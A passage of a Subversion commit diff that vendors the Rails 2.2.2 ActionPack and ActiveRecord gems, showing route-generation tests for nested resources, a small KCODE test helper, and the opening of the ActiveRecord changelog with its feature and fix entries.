+
+  def test_new_resource
+    @controller = WorkshopsController.new
+
+    with_restful_routing do
+      get :index
+      assert_equal "/workshops\n<a href=\"/workshops\">Workshop</a>", @response.body
+    end
+  end
+
+  def test_existing_resource
+    @controller = WorkshopsController.new
+
+    with_restful_routing do
+      get :show, :id => 1
+      assert_equal "/workshops/1\n<a href=\"/workshops/1\">Workshop</a>", @response.body
+    end
+  end
+
+  def test_new_nested_resource
+    @controller = SessionsController.new
+
+    with_restful_routing do
+      get :index, :workshop_id => 1
+      assert_equal "/workshops/1/sessions\n<a href=\"/workshops/1/sessions\">Session</a>", @response.body
+    end
+  end
+
+  def test_existing_nested_resource
+    @controller = SessionsController.new
+
+    with_restful_routing do
+      get :show, :workshop_id => 1, :id => 1
+      assert_equal "/workshops/1/sessions/1\n<a href=\"/workshops/1/sessions/1\">Session</a>", @response.body
+    end
+  end
+
+  protected
+    def with_restful_routing
+      with_routing do |set|
+        set.draw do |map|
+          map.resources :workshops do |w|
+            w.resources :sessions
+          end
+        end
+        yield
+      end
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/testing_sandbox.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/testing_sandbox.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/testing_sandbox.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+module TestingSandbox
+  # Temporarily replaces KCODE for the block
+  def with_kcode(kcode)
+    if RUBY_VERSION < '1.9'
+      old_kcode, $KCODE = $KCODE, kcode
+      begin
+        yield
+      ensure
+        $KCODE = old_kcode
+      end
+    else
+      yield
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/CHANGELOG
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/CHANGELOG	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/CHANGELOG	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5786 @@
+*2.2 (November 21st, 2008)*
+
+* Ensure indices don't flip order in schema.rb #1266 [Jordi Bunster]
+
+* Fixed that serialized strings should never be type-casted (i.e. turning "Yes" to a boolean) #857 [Andreas Korth]
+
+* Skip collection ids reader optimization if using :finder_sql [Jeremy Kemper]
+
+* Add Model#delete instance method, similar to Model.delete class method. #1086 [Hongli Lai]
+
+* MySQL: cope with quirky default values for not-null text columns.  #1043 [Frederick Cheung]
+
+* Multiparameter attributes skip time zone conversion for time-only columns [#1030 state:resolved] [Geoff Buesing]
+
+* Base.skip_time_zone_conversion_for_attributes uses class_inheritable_accessor, so that subclasses don't overwrite Base [#346 state:resolved] [miloops]
+
+* Added find_last_by dynamic finder #762 [miloops]
+
+* Internal API: configurable association options and build_association method for reflections so plugins may extend and override.  #985 [Hongli Lai]
+
+* Changed benchmarks to be reported in milliseconds [DHH]
+
+* Connection pooling.  #936 [Nick Sieger]
+
+* Merge scoped :joins together instead of overwriting them. May expose scoping bugs in your code!  #501 [Andrew White]
+
+* before_save, before_validation and before_destroy callbacks that return false will now ROLLBACK the transaction.  Previously this would have been committed before the processing was aborted. #891 [Xavier Noria]
+
+* Transactional migrations for databases which support them.  #834 [divoxx, Adam Wiggins, Tarmo Tänav]
+
+* Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp. #446. [Andrew Stone, Nik Wakelin]
+
+* change_column_default preserves the not-null constraint.  #617 [Tarmo Tänav]
+
+* Fixed that create database statements would always include "DEFAULT NULL" (Nick Sieger) [#334]
+
+* Add :tokenizer option to validates_length_of to specify how to split up the attribute string. #507. [David Lowenfels] Example :
+
+  # Ensure essay contains at least 100 words.
+  validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least %d words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
+
+* Allow conditions on multiple tables to be specified using hash. [Pratik Naik]. Example:
+
+  User.all :joins => :items, :conditions => { :age => 10, :items => { :color => 'black' } }
+  Item.first :conditions => { :items => { :color => 'red' } }
+
+* Always treat integer :limit as byte length.  #420 [Tarmo Tänav]
+
+* Partial updates don't update lock_version if nothing changed.  #426 [Daniel Morrison]
+
+* Fix column collision with named_scope and :joins.  #46 [Duncan Beevers, Mark Catley]
+
+* db:migrate:down and :up update schema_migrations.  #369 [Michael Raidel, RaceCondition]
+
+* PostgreSQL: support :conditions => [':foo::integer', { :foo => 1 }] without treating the ::integer typecast as a bind variable.  [Tarmo Tänav]
+
+* MySQL: rename_column preserves column defaults.  #466 [Diego Algorta]
+
+* Add :from option to calculations.  #397 [Ben Munat]
+
+* Add :validate option to associations to enable/disable the automatic validation of associated models. Resolves #301. [Jan De Poorter]
+
+* PostgreSQL: use 'INSERT ... RETURNING id' for 8.2 and later.  [Jeremy Kemper]
+
+* Added SQL escaping for :limit and :offset in MySQL [Jonathan Wiess]
+
+
+*2.1.0 (May 31st, 2008)*
+
+* Add ActiveRecord::Base.sti_name that checks ActiveRecord::Base#store_full_sti_class? and returns either the full or demodulized name. [rick]
+
+* Add first/last methods to associations/named_scope. Resolved #226. [Ryan Bates]
+
+* Added SQL escaping for :limit and :offset #288 [Aaron Bedra, Steven Bristol, Jonathan Wiess] 
+
+* Added first/last methods to associations/named_scope. Resolved #226. [Ryan Bates]
+
+* Ensure hm:t preloading honours reflection options. Resolves #137. [Frederick Cheung]
+
+* Added protection against duplicate migration names (Aslak Hellesøy) [#112]
+
+* Base#instantiate_time_object: eliminate check for Time.zone, since we can assume this is set if time_zone_aware_attributes is set to true [Geoff Buesing]
+
+* Time zone aware attribute methods use Time.zone.parse instead of #to_time for String arguments, so that offset information in String is respected. Resolves #105. [Scott Fleckenstein, Geoff Buesing]
+
+* Added change_table for migrations (Jeff Dean) [#71]. Example:
+
+    change_table :videos do |t|
+      t.timestamps                          # adds created_at, updated_at
+      t.belongs_to :goat                    # adds goat_id integer
+      t.string :name, :email, :limit => 20  # adds name and email both with a 20 char limit
+      t.remove :name, :email                # removes the name and email columns
+    end
+
+* Fixed has_many :through .create with no parameters caused a "can't dup NilClass" error (Steven Soroka) [#85]
+
+* Added block-setting of attributes for Base.create like Base.new already has (Adam Meehan) [#39]
+
+* Fixed that pessimistic locking you reference the quoted table name (Josh Susser) [#67]
+
+* Fixed that change_column should be able to use :null => true on a field that formerly had false [Nate Wiger] [#26]
+
+* Added that the MySQL adapter should map integer to either smallint, int, or bigint depending on the :limit just like PostgreSQL [DHH]
+
+* Change validates_uniqueness_of :case_sensitive option default back to true (from [9160]).  Love your database columns, don't LOWER them.  [rick]
+
+* Add support for interleaving migrations by storing which migrations have run in the new schema_migrations table. Closes #11493 [jordi]
+
+* ActiveRecord::Base#sum defaults to 0 if no rows are returned.  Closes #11550 [kamal]
+
+* Ensure that respond_to? considers dynamic finder methods. Closes #11538. [floehopper]
+
+* Ensure that save on parent object fails for invalid has_one association. Closes #10518. [Pratik]
+
+* Remove duplicate code from associations. [Pratik]
+
+* Refactor HasManyThroughAssociation to inherit from HasManyAssociation. Association callbacks and <association>_ids= now work with hm:t. #11516 [rubyruy]
+
+* Ensure HABTM#create and HABTM#build do not load entire association. [Pratik]
+
+* Improve documentation. [Xavier Noria, Jack Danger Canty, leethal]
+
+* Tweak ActiveRecord::Base#to_json to include a root value in the returned hash: {"post": {"title": ...}} [rick]
+
+  Post.find(1).to_json # => {"title": ...}
+  config.active_record.include_root_in_json = true
+  Post.find(1).to_json # => {"post": {"title": ...}}
+
+* Add efficient #include? to AssociationCollection (for has_many/has_many :through/habtm).  [stopdropandrew]
+
+* PostgreSQL: create_ and drop_database support.  #9042 [ez, pedz, nicksieger]
+
+* Ensure that validates_uniqueness_of works with with_scope. Closes #9235. [nik.wakelin, cavalle]
+
+* Partial updates include only unsaved attributes. Off by default; set YourClass.partial_updates = true to enable.  [Jeremy Kemper]
+
+* Removing unnecessary uses_tzinfo helper from tests, given that TZInfo is now bundled [Geoff Buesing]
+
+* Fixed that validates_size_of :within works in associations #11295, #10019 [cavalle]
+
+* Track changes to unsaved attributes.  [Jeremy Kemper]
+
+* Switched to UTC-timebased version numbers for migrations and the schema. This will as good as eliminate the problem of multiple migrations getting the same version assigned in different branches. Also added rake db:migrate:up/down to apply individual migrations that may need to be run when you merge branches #11458 [jbarnette]
+
+* Fixed that has_many :through would ignore the hash conditions #11447 [miloops]
+
+* Fix issue where the :uniq option of a has_many :through association is ignored when find(:all) is called.  Closes #9407 [cavalle]
+
+* Fix duplicate table alias error when including an association with a has_many :through association on the same join table.  Closes #7310 [cavalle]
+
+* More efficient association preloading code that compacts a through_records array in a central location.  Closes #11427 [danger]
+
+* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria,  Sunny Ripert]
+
+* Fixed that ActiveRecord#Base.find_or_create/initialize would not honor attr_protected/accessible when used with a hash #11422 [miloops]
+
+* Added ActiveRecord#Base.all/first/last as aliases for find(:all/:first/:last) #11413 [nkallen, thechrisoshow]
+
+* Merge the has_finder gem, renamed as 'named_scope'.  #11404 [nkallen]
+
+  class Article < ActiveRecord::Base
+    named_scope :published, :conditions => {:published => true}
+    named_scope :popular, :conditions => ...
+  end
+
+  Article.published.paginate(:page => 1)
+  Article.published.popular.count
+  Article.popular.find(:first)
+  Article.popular.find(:all, :conditions => {...})
+
+  See http://pivots.pivotallabs.com/users/nick/blog/articles/284-hasfinder-it-s-now-easier-than-ever-to-create-complex-re-usable-sql-queries
+
+* Add has_one :through support.  #4756 [thechrisoshow]
+
+* Migrations: create_table supports primary_key_prefix_type.  #10314 [student, thechrisoshow]
+
+* Added logging for dependency load errors with fixtures #11056 [stuthulhu]
+
+* Time zone aware attributes use Time#in_time_zone [Geoff Buesing]
+
+* Fixed that scoped joins would not always be respected #6821 [Theory/Danger]
+
+* Ensure that ActiveRecord::Calculations disambiguates field names with the table name.  #11027 [cavalle]
+
+* Added add/remove_timestamps to the schema statements for adding the created_at/updated_at columns on existing tables #11129 [jramirez]
+
+* Added ActiveRecord::Base.find(:last) #11338 [miloops]
+
+* test_native_types expects DateTime.local_offset instead of DateTime.now.offset; fixes test breakage due to dst transition [Geoff Buesing]
+
+* Add :readonly option to HasManyThrough associations. #11156 [miloops]
+
+* Improve performance on :include/:conditions/:limit queries by selectively joining in the pre-query.  #9560 [dasil003]
+
+* Perf fix: Avoid the use of named block arguments.  Closes #11109 [adymo]
+
+* PostgreSQL: support server versions 7.4 through 8.0 and the ruby-pg driver.  #11127 [jdavis]
+
+* Ensure association preloading doesn't break when an association returns nil. ##11145 [GMFlash]
+
+* Make dynamic finders respect the :include on HasManyThrough associations.  #10998. [cpytel]
+
+* Base#instantiate_time_object only uses Time.zone when Base.time_zone_aware_attributes is true; leverages Time#time_with_datetime_fallback for readability [Geoff Buesing]
+
+* Refactor ConnectionAdapters::Column.new_time: leverage DateTime failover behavior of Time#time_with_datetime_fallback [Geoff Buesing]
+
+* Improve associations performance by using symbol callbacks instead of string callbacks. #11108 [adymo]
+
+* Optimise the BigDecimal conversion code.  #11110 [adymo]
+
+* Introduce the :readonly option to all associations. Records from the association cannot be saved.  #11084 [miloops]
+
+* Multiparameter attributes for time columns fail over to DateTime when out of range of Time [Geoff Buesing]
+
+* Base#instantiate_time_object uses Time.zone.local() [Geoff Buesing]
+
+* Add timezone-aware attribute readers and writers. #10982 [Geoff Buesing]
+
+* Instantiating time objects in multiparameter attributes uses Time.zone if available.  #10982 [rick]
+
+* Add note about how ActiveRecord::Observer classes are initialized in a Rails app. #10980 [fxn]
+
+* MySQL: omit text/blob defaults from the schema instead of using an empty string.  #10963 [mdeiters]
+
+* belongs_to supports :dependent => :destroy and :delete.  #10592 [Jonathan Viney]
+
+* Introduce preload query strategy for eager :includes.  #9640 [Frederick Cheung, Aleksey Kondratenko, codafoo]
+
+* Support aggregations in finder conditions.  #10572 [Ryan Kinderman]
+
+* Organize and clean up the Active Record test suite.  #10742 [John Barnette]
+
+* Ensure that modifying has_and_belongs_to_many actions clear the query cache.  Closes #10840 [john.andrews]
+
+* Fix issue where Table#references doesn't pass a :null option to a *_type attribute for polymorphic associations.  Closes #10753 [railsjitsu]
+
+* Fixtures: removed support for the ancient pre-YAML file format.  #10736 [John Barnette]
+
+* More thoroughly quote table names.  #10698 [dimdenis, lotswholetime, Jeremy Kemper]
+
+* update_all ignores scoped :order and :limit, so post.comments.update_all doesn't try to include the comment order in the update statement.  #10686 [Brendan Ribera]
+
+* Added ActiveRecord::Base.cache_key to make it easier to cache Active Records in combination with the new ActiveSupport::Cache::* libraries [DHH]
+
+* Make sure CSV fixtures are compatible with ruby 1.9's new csv implementation. [JEG2]
+
+* Added by parameter to increment, decrement, and their bang varieties so you can do player1.increment!(:points, 5) #10542 [Sam]
+
+* Optimize ActiveRecord::Base#exists? to use #select_all instead of #find.  Closes #10605 [jamesh, fcheung, protocool]
+
+* Don't unnecessarily load has_many associations in after_update callbacks.  Closes #6822 [stopdropandrew, canadaduane]
+
+* Eager belongs_to :include infers the foreign key from the association name rather than the class name.  #10517 [Jonathan Viney]
+
+* SQLite: fix rename_ and remove_column for columns with unique indexes.  #10576 [Brandon Keepers]
+
+* Ruby 1.9 compatibility.  #10655 [Jeremy Kemper, Dirkjan Bussink]
+
+
+*2.0.2* (December 16th, 2007)
+
+* Ensure optimistic locking handles nil #lock_version values properly.  Closes #10510 [rick]
+
+* Make the Fixtures Test::Unit enhancements more supporting for double-loaded test cases.  Closes #10379 [brynary]
+
+* Fix that validates_acceptance_of still works for non-existent tables (useful for bootstrapping new databases).  Closes #10474 [hasmanyjosh]
+
+* Ensure that the :uniq option for has_many :through associations retains the order.  #10463 [remvee]
+
+* Base.exists? doesn't rescue exceptions to avoid hiding SQL errors.  #10458 [Michael Klishin]
+
+* Documentation: Active Record exceptions, destroy_all and delete_all.  #10444, #10447 [Michael Klishin]
+
+
+*2.0.1* (December 7th, 2007)
+
+* Removed query cache rescue as it could cause code to be run twice (closes #10408) [DHH]
+
+
+*2.0.0* (December 6th, 2007)
+
+* Anchor DateTimeTest to fixed DateTime instead of a variable value based on Time.now#advance#to_datetime, so that this test passes on 64-bit platforms running Ruby 1.8.6+ [Geoff Buesing]
+
+* Fixed that the Query Cache should just be ignored if the database is misconfigured (so that the "About your applications environment" works even before the database has been created) [DHH]
+
+* Fixed that the truncation of strings longer than 50 chars should use inspect
+so newlines etc are escaped #10385 [Norbert Crombach]
+
+* Fixed that habtm associations should be able to set :select as part of their definition and have that honored [DHH]
+
+* Document how the :include option can be used in Calculations::calculate.  Closes #7446 [adamwiggins, ultimoamore]
+
+* Fix typo in documentation for polymorphic associations w/STI. Closes #7461 [johnjosephbachir]
+
+* Reveal that the type option in migrations can be any supported column type for your database but also include caveat about agnosticism. Closes #7531 [adamwiggins, mikong]
+
+* More complete documentation for find_by_sql. Closes #7912 [fearoffish]
+
+* Added ActiveRecord::Base#becomes to turn a record into one of another class (mostly relevant for STIs) [DHH]. Example:
+
+    render :partial => @client.becomes(Company) # renders companies/company instead of clients/client
+
+* Fixed that to_xml should not automatically pass :procs to associations included with :include #10162 [Cheah Chu Yeow]
+
+* Fix documentation typo introduced in [8250]. Closes #10339 [Henrik N]
+
+* Foxy fixtures: support single-table inheritance.  #10234 [tom]
+
+* Foxy fixtures: allow mixed usage to make migration easier and more attractive.  #10004 [lotswholetime]
+
+* Make the record_timestamps class-inheritable so it can be set per model.  #10004 [tmacedo]
+
+* Allow validates_acceptance_of to use a real attribute instead of only virtual (so you can record that the acceptance occured) #7457 [ambethia]
+
+* DateTimes use Ruby's default calendar reform setting. #10201 [Geoff Buesing]
+
+* Dynamic finders on association collections respect association :order and :limit.  #10211, #10227 [Patrick Joyce, Rick Olson, Jack Danger Canty]
+
+* Add 'foxy' support for fixtures of polymorphic associations. #10183 [John Barnette, David Lowenfels]
+
+* validates_inclusion_of and validates_exclusion_of allow formatted :message strings.  #8132 [devrieda, Mike Naberezny]
+
+* attr_readonly behaves well with optimistic locking.  #10188 [Nick Bugajski]
+
+* Base#to_xml supports the nil="true" attribute like Hash#to_xml.  #8268 [Catfish]
+
+* Change plings to the more conventional quotes in the documentation. Closes #10104 [danger]
+
+* Fix HasManyThrough Association so it uses :conditions on the HasMany Association.  Closes #9729 [danger]
+
+* Ensure that column names are quoted.  Closes #10134 [wesley.moxam]
+
+* Smattering of grammatical fixes to documentation. Closes #10083 [BobSilva]
+
+* Enhance explanation with more examples for attr_accessible macro. Closes #8095 [fearoffish, Marcel Molina]
+
+* Update association/method mapping table to refected latest collection methods for has_many :through. Closes #8772 [Pratik Naik]
+
+* Explain semantics of having several different AR instances in a transaction block. Closes #9036 [jacobat, Marcel Molina]
+
+* Update Schema documentation to use updated sexy migration notation. Closes #10086 [sjgman9]
+
+* Make fixtures work with the new test subclasses. [Tarmo Tänav, Koz]
+
+* Introduce finder :joins with associations. Same :include syntax but with inner rather than outer joins.  #10012 [RubyRedRick]
+    # Find users with an avatar
+    User.find(:all, :joins => :avatar)
+
+    # Find posts with a high-rated comment.
+    Post.find(:all, :joins => :comments, :conditions => 'comments.rating > 3')
+
+* Associations: speedup duplicate record check.  #10011 [Pratik Naik]
+
+* Make sure that << works on has_many associations on unsaved records.  Closes #9989 [hasmanyjosh]
+
+* Allow association redefinition in subclasses.  #9346 [wildchild]
+
+* Fix has_many :through delete with custom foreign keys.  #6466 [naffis]
+
+* Foxy fixtures, from rathole (http://svn.geeksomnia.com/rathole/trunk/README)
+    - stable, autogenerated IDs
+    - specify associations (belongs_to, has_one, has_many) by label, not ID
+    - specify HABTM associations as inline lists
+    - autofill timestamp columns
+    - support YAML defaults
+    - fixture label interpolation
+  Enabled for fixtures that correspond to a model class and don't specify a primary key value.  #9981 [John Barnette]
+
+* Add docs explaining how to protect all attributes using attr_accessible with no arguments. Closes #9631 [boone, rmm5t]
+
+* Update add_index documentation to use new options api. Closes #9787 [Kamal Fariz Mahyuddin]
+
+* Allow find on a has_many association defined with :finder_sql to accept id arguments as strings like regular find does. Closes #9916 [krishna]
+
+* Use VALID_FIND_OPTIONS when resolving :find scoping rather than hard coding the list of valid find options. Closes #9443 [sur]
+
+* Limited eager loading no longer ignores scoped :order. Closes #9561 [danger, Josh Peek]
+
+* Assigning an instance of a foreign class to a composed_of aggregate calls an optional conversion block. Refactor and simplify composed_of implementation.  #6322 [brandon, Chris Cruft]
+
+* Assigning nil to a composed_of aggregate also sets its immediate value to nil.  #9843 [Chris Cruft]
+
+* Ensure that mysql quotes table names with database names correctly.  Closes #9911 [crayz]
+
+  "foo.bar" => "`foo`.`bar`"  
+
+* Complete the assimilation of Sexy Migrations from ErrFree [Chris Wanstrath, PJ Hyett]
+	http://errtheblog.com/post/2381
+
+* Qualified column names work in hash conditions, like :conditions => { 'comments.created_at' => ... }.  #9733 [danger]
+
+* Fix regression where the association would not construct new finder SQL on save causing bogus queries for "WHERE owner_id = NULL" even after owner was saved.  #8713 [Bryan Helmkamp]
+
+* Refactor association create and build so before & after callbacks behave consistently.  #8854 [Pratik Naik, mortent]
+
+* Quote table names. Defaults to column quoting.  #4593 [Justin Lynn, gwcoffey, eadz, Dmitry V. Sabanin, Jeremy Kemper]
+
+* Alias association #build to #new so it behaves predictably.  #8787 [Pratik Naik]
+
+* Add notes to documentation regarding attr_readonly behavior with counter caches and polymorphic associations.  Closes #9835 [saimonmoore, rick]
+
+* Observers can observe model names as symbols properly now.  Closes #9869  [queso]
+
+* find_and_(initialize|create)_by methods can now properly initialize protected attributes [Tobias Luetke]
+
+* belongs_to infers the foreign key from the association name instead of from the class name.  [Jeremy Kemper]
+
+* PostgreSQL: support multiline default values.  #7533 [Carl Lerche, aguynamedryan, Rein Henrichs, Tarmo Tänav]
+
+* MySQL: fix change_column on not-null columns that don't accept dfeault values of ''.  #6663 [Jonathan Viney, Tarmo Tänav]
+
+* validates_uniqueness_of behaves well with abstract superclasses and
+single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Beausoleil, Josh Peek, Tarmo Tänav, pat]
+
+* Warn about protected attribute assigments in development and test environments when mass-assigning to an attr_protected attribute.  #9802 [Henrik N]
+
+* Speedup database date/time parsing.  [Jeremy Kemper, Tarmo Tänav]
+
+* Fix calling .clear on a has_many :dependent=>:delete_all association. [Tarmo Tänav]
+
+* Allow change_column to set NOT NULL in the PostgreSQL adapter [Tarmo Tänav]
+
+* Fix that ActiveRecord would create attribute methods and override custom attribute getters if the method is also defined in Kernel.methods. [Rick]
+
+* Don't call attr_readonly on polymorphic belongs_to associations, in case it matches the name of some other non-ActiveRecord class/module.  [Rick]
+
+* Try loading activerecord-<adaptername>-adapter gem before trying a plain require so you can use custom gems for the bundled adapters. Also stops gems from requiring an adapter from an old Active Record gem.  [Jeremy Kemper, Derrick Spell]
+
+
+*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.14.2 - 1.15.3]
+
+* Add attr_readonly to specify columns that are skipped during a normal ActiveRecord #save operation. Closes #6896 [dcmanges]
+
+  class Comment < ActiveRecord::Base
+    # Automatically sets Article#comments_count as readonly.
+    belongs_to :article, :counter_cache => :comments_count
+  end
+
+  class Article < ActiveRecord::Base
+    attr_readonly :approved_comments_count
+  end
+
+* Make size for has_many :through use counter cache if it exists.  Closes #9734 [xaviershay]
+
+* Remove DB2 adapter since IBM chooses to maintain their own adapter instead.  [Jeremy Kemper]
+
+* Extract Oracle, SQLServer, and Sybase adapters into gems.  [Jeremy Kemper]
+
+* Added fixture caching that'll speed up a normal fixture-powered test suite between 50% and 100% #9682 [Frederick Cheung]
+
+* Correctly quote id list for limited eager loading.  #7482 [tmacedo]
+
+* Fixed that using version-targetted migrates would fail on loggers other than the default one #7430 [valeksenko]
+
+* Fixed rename_column for SQLite when using symbols for the column names #8616 [drodriguez]
+
+* Added the possibility of using symbols in addition to concrete classes with ActiveRecord::Observer#observe.  #3998 [Robby Russell, Tarmo Tänav]
+
+* Added ActiveRecord::Base#to_json/from_json [DHH, Cheah Chu Yeow]
+
+* Added ActiveRecord::Base#from_xml [DHH]. Example:
+
+    xml = "<person><name>David</name></person>"
+    Person.new.from_xml(xml).name # => "David"
+
+* Define dynamic finders as real methods after first usage. [bscofield]
+
+* Deprecation: remove deprecated threaded_connections methods. Use allow_concurrency instead.  [Jeremy Kemper]
+
+* Associations macros accept extension blocks alongside modules.  #9346 [Josh Peek]
+
+* Speed up and simplify query caching.  [Jeremy Kemper]
+
+* connection.select_rows 'sql' returns an array (rows) of arrays (field values).  #2329 [Michael Schuerig]
+
+* Eager loading respects explicit :joins.  #9496 [dasil003]
+
+* Extract Firebird, FrontBase, and OpenBase adapters into gems.  #9508, #9509, #9510 [Jeremy Kemper]
+
+* RubyGem database adapters: expects a gem named activerecord-<database>-adapter with active_record/connection_adapters/<database>_adapter.rb in its load path.  [Jeremy Kemper]
+
+* Fixed that altering join tables in migrations would fail w/ sqlite3 #7453 [TimoMihaljov/brandon]
+
+* Fix association writer with :dependent => :nullify.  #7314 [Jonathan Viney]
+
+* OpenBase: update for new lib and latest Rails. Support migrations.  #8748 [dcsesq]
+
+* Moved acts_as_tree into a plugin of the same name on the official Rails svn.  #9514 [Pratik Naik]
+
+* Moved acts_as_nested_set into a plugin of the same name on the official Rails svn.  #9516 [Josh Peek]
+
+* Moved acts_as_list into a plugin of the same name on the official Rails svn.  [Josh Peek]
+
+* Explicitly require active_record/query_cache before using it.  [Jeremy Kemper]
+
+* Fix bug where unserializing an attribute attempts to modify a frozen @attributes hash for a deleted record.  [Rick, marclove]
+
+* Performance: absorb instantiate and initialize_with_callbacks into the Base methods. [Jeremy Kemper]
+
+* Fixed that eager loading queries and with_scope should respect the :group option [DHH]
+
+* Improve performance and functionality of the postgresql adapter.  Closes #8049 [roderickvd]
+
+	For more information see: http://dev.rubyonrails.org/ticket/8049
+
+* Don't clobber includes passed to has_many.count [danger]
+
+* Make sure has_many uses :include when counting [danger]
+
+* Change the implementation of ActiveRecord's attribute reader and writer methods [nzkoz]
+ - Generate Reader and Writer methods which cache attribute values in hashes.  This is to avoid repeatedly parsing the same date or integer columns.
+ - Change exception raised when users use find with :select then try to access a skipped column.  Plugins could override missing_attribute() to lazily load the columns.
+ - Move method definition to the class, instead of the instance
+ - Always generate the readers, writers and predicate methods.
+
+* Perform a deep #dup on query cache results so that modifying activerecord attributes does not modify the cached attributes.  [Rick]
+
+# Ensure that has_many :through associations use a count query instead of loading the target when #size is called.  Closes #8800 [Pratik Naik]
+
+* Added :unless clause to validations #8003 [monki]. Example: 
+
+    def using_open_id?
+      !identity_url.blank?
+    end
+
+    validates_presence_of :identity_url, :if => using_open_id?
+    validates_presence_of :username, :unless => using_open_id?
+    validates_presence_of :password, :unless => using_open_id?
+
+* Fix #count on a has_many :through association so that it recognizes the :uniq option.  Closes #8801 [Pratik Naik]
+
+* Fix and properly document/test count(column_name) usage. Closes #8999 [Pratik Naik]
+
+* Remove deprecated count(conditions=nil, joins=nil) usage.  Closes #8993 [Pratik Naik]
+
+* Change belongs_to so that the foreign_key assumption is taken from the association name, not the class name.  Closes #8992 [hasmanyjosh]
+
+  OLD
+    belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is user_id
+    
+  NEW
+    belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is visitor_id
+
+* Remove spurious tests from deprecated_associations_test, most of these aren't deprecated, and are duplicated in associations_test.  Closes #8987 [Pratik Naik]
+
+* Make create! on a has_many :through association return the association object.  Not the collection.  Closes #8786 [Pratik Naik]
+
+* Move from select * to select tablename.* to avoid clobbering IDs. Closes #8889 [dasil003]
+
+* Don't call unsupported methods on associated objects when using :include, :method with to_xml #7307, [manfred, jwilger]
+
+* Define collection singular ids method for has_many :through associations.  #8763 [Pratik Naik]
+
+* Array attribute conditions work with proxied association collections.  #8318 [Kamal Fariz Mahyuddin, theamazingrando]
+
+* Fix polymorphic has_one associations declared in an abstract class.  #8638 [Pratik Naik, Dax Huiberts]
+
+* Fixed validates_associated should not stop on the first error.  #4276 [mrj, Manfred Stienstra, Josh Peek]
+
+* Rollback if commit raises an exception.  #8642 [kik, Jeremy Kemper]
+
+* Update tests' use of fixtures for the new collections api.  #8726 [Kamal Fariz Mahyuddin]
+
+* Save associated records only if the association is already loaded.  #8713 [blaine]
+
+* MySQL: fix show_variable.  #8448 [matt, Jeremy Kemper]
+
+* Fixtures: correctly delete and insert fixtures in a single transaction.  #8553 [Michael Schuerig]
+
+* Fixtures: people(:technomancy, :josh) returns both fixtures.  #7880 [technomancy, Josh Peek]
+
+* Calculations support non-numeric foreign keys.  #8154 [Kamal Fariz Mahyuddin]
+
+* with_scope is protected.  #8524 [Josh Peek]
+
+* Quickref for association methods.  #7723 [marclove, Mindsweeper]
+
+* Calculations: return nil average instead of 0 when there are no rows to average.  #8298 [davidw]
+
+* acts_as_nested_set: direct_children is sorted correctly.  #4761 [Josh Peek, rails at 33lc0.net]
+
+* Raise an exception if both attr_protected and attr_accessible are declared.  #8507 [stellsmi]
+
+* SQLite, MySQL, PostgreSQL, Oracle: quote column names in column migration SQL statements.  #8466 [marclove, lorenjohnson]
+
+* Allow nil serialized attributes with a set class constraint.  #7293 [sandofsky]
+
+* Oracle: support binary fixtures.  #7987 [Michael Schoen]
+
+* Fixtures: pull fixture insertion into the database adapters.  #7987 [Michael Schoen]
+
+* Announce migration versions as they're performed.  [Jeremy Kemper]
+
+* find gracefully copes with blank :conditions.  #7599 [Dan Manges, johnnyb]
+
+* validates_numericality_of takes :greater_than, :greater_than_or_equal_to, :equal_to, :less_than, :less_than_or_equal_to, :odd, and :even options.  #3952 [Bob Silva, Dan Kubb, Josh Peek]
+
+* MySQL: create_database takes :charset and :collation options. Charset defaults to utf8.  #8448 [matt]
+
+* Find with a list of ids supports limit/offset.  #8437 [hrudududu]
+
+* Optimistic locking: revert the lock version when an update fails.  #7840 [plang]
+
+* Migrations: add_column supports custom column types.  #7742 [jsgarvin, Theory]
+
+* Load database adapters on demand. Eliminates config.connection_adapters and RAILS_CONNECTION_ADAPTERS. Add your lib directory to the $LOAD_PATH and put your custom adapter in lib/active_record/connection_adapters/adaptername_adapter.rb. This way you can provide custom adapters as plugins or gems without modifying Rails. [Jeremy Kemper]
+
+* Ensure that associations with :dependent => :delete_all respect :conditions option.  Closes #8034 [danger, Josh Peek, Rick]
+
+* belongs_to assignment creates a new proxy rather than modifying its target in-place.  #8412 [mmangino at elevatedrails.com]
+
+* Fix column type detection while loading fixtures.  Closes #7987 [roderickvd]
+
+* Document deep eager includes.  #6267 [Josh Susser, Dan Manges]
+
+* Document warning that associations names shouldn't be reserved words.  #4378 [murphy at cYcnus.de, Josh Susser]
+
+* Sanitize Base#inspect.  #8392, #8623 [Nik Wakelin, jnoon]
+
+* Replace the transaction {|transaction|..} semantics with a new Exception ActiveRecord::Rollback.   [Koz]
+
+* Oracle: extract column length for CHAR also.  #7866 [ymendel]
+
+* Document :allow_nil option for validates_acceptance_of since it defaults to true. [tzaharia]
+
+* Update documentation for :dependent declaration so that it explicitly uses the non-deprecated API. [danger]
+
+* Add documentation caveat about when to use count_by_sql. [fearoffish]
+
+* Enhance documentation for increment_counter and decrement_counter. [fearoffish]
+
+* Provide brief introduction to what optimistic locking is. [fearoffish]
+
+* Add documentation for :encoding option to mysql adapter. [marclove]
+
+* Added short-hand declaration style to migrations (inspiration from Sexy Migrations, http://errtheblog.com/post/2381) [DHH]. Example:
+
+    create_table "products" do |t|
+      t.column "shop_id",    :integer
+      t.column "creator_id", :integer
+      t.column "name",       :string,   :default => "Untitled"
